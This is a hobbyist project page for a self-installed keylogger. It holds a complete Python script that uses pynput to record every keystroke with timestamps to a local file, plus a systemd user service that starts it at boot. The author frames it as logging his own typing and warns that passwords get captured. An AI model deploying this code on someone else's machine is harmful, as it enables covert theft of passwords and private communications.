DIY Keylogger
Description
The goal of this project is to install a key logger on myself so I can later do analysis on the data I generate. Beware running this will log your passwords to a file in user space unless you remember to turn it off and on.
Install Instructions
python3 -m pip install pynput
nano keylogger.py
# Copy Contents from below into file
sudo cp keylogger.py /opt
mkdir -p ~/.config/systemd/user
nano keylogger.service
# Copy Contents from below into file
envsubst < keylogger.service > temp.txt && mv temp.txt keylogger.service
cat keylogger.service
cp keylogger.service ~/.config/systemd/user/keylogger.service
# Start Keylogger
systemctl --user start keylogger.service
# Enable keylogger on startup
systemctl --user enable keylogger.service
# Check if keylogger is running
systemctl --user status keylogger.service
# Stop keylogger
systemctl --user stop keylogger.service
# To update keylogger.py script
systemctl --user daemon-reload
systemctl --user restart keylogger.service
systemctl --user status keylogger.service
# Check keylogger logs
cd ~/keylogger
ls
cat key*
keylogger.py
#!/bin/python3
# keylogger.py
import importlib
def check_and_install_dependency(package):
try:
importlib.import_module(package)
print(f"{package} is already installed.")
except ImportError:
print(f"{package} is not installed. Installing...")
try:
import pip
pip.main(['install', package])
print(f"{package} has been successfully installed.")
except ImportError:
print("pip is not installed. Please install pip and try again.")
return
print(f"Loading {package}...")
importlib.import_module(package)
print(f"{package} has been loaded successfully.")
check_and_install_dependency('pynput')
from pynput import keyboard
import logging
import os
import socket
import sys
log_dir = "/home/paul/Documents/Software/keylogger"
if len(sys.argv) > 1:
log_dir = sys.argv[1]
print(f"{log_dir}/keyLog-{str(socket.gethostname())}.txt")
try:
os.makedirs(log_dir)
except:
print(f'PATH {str(log_dir)} already exists')
logging.basicConfig(filename = f"{log_dir}/keyLog-{str(socket.gethostname())}.txt",
level=logging.DEBUG, format='%(asctime)s: %(message)s')
def get_key_name(key):
if isinstance(key, keyboard.KeyCode):
return key.char
else:
return str(key)
def on_press(key):
key_name = get_key_name(key)
logging.info('Key {} pressed.'.format(key_name))
print(key_name)
def on_release(key):
key_name = get_key_name(key)
logging.info('Key {} released.'.format(key_name))
with keyboard.Listener(
on_press = on_press,
on_release = on_release) as listener:
listener.join()
keylogger.service
# keylogger.service
[Unit]
Description=Keylogger Service
# Requires=display-manager.service
# After=display-manager.service
# Environment='DISPLAY=:0'
[Service]
ExecStart=/usr/bin/python3 /opt/keylogger.py /home/paul/keylogger
[Install]
WantedBy=multi-user.target
Troubleshooting
sudo /usr/bin/python -m ensurepip --upgrade
sudo /usr/bin/python -m pip install six
sudo /usr/bin/python -m pip install python-xlib
sudo /usr/bin/python -m pip install six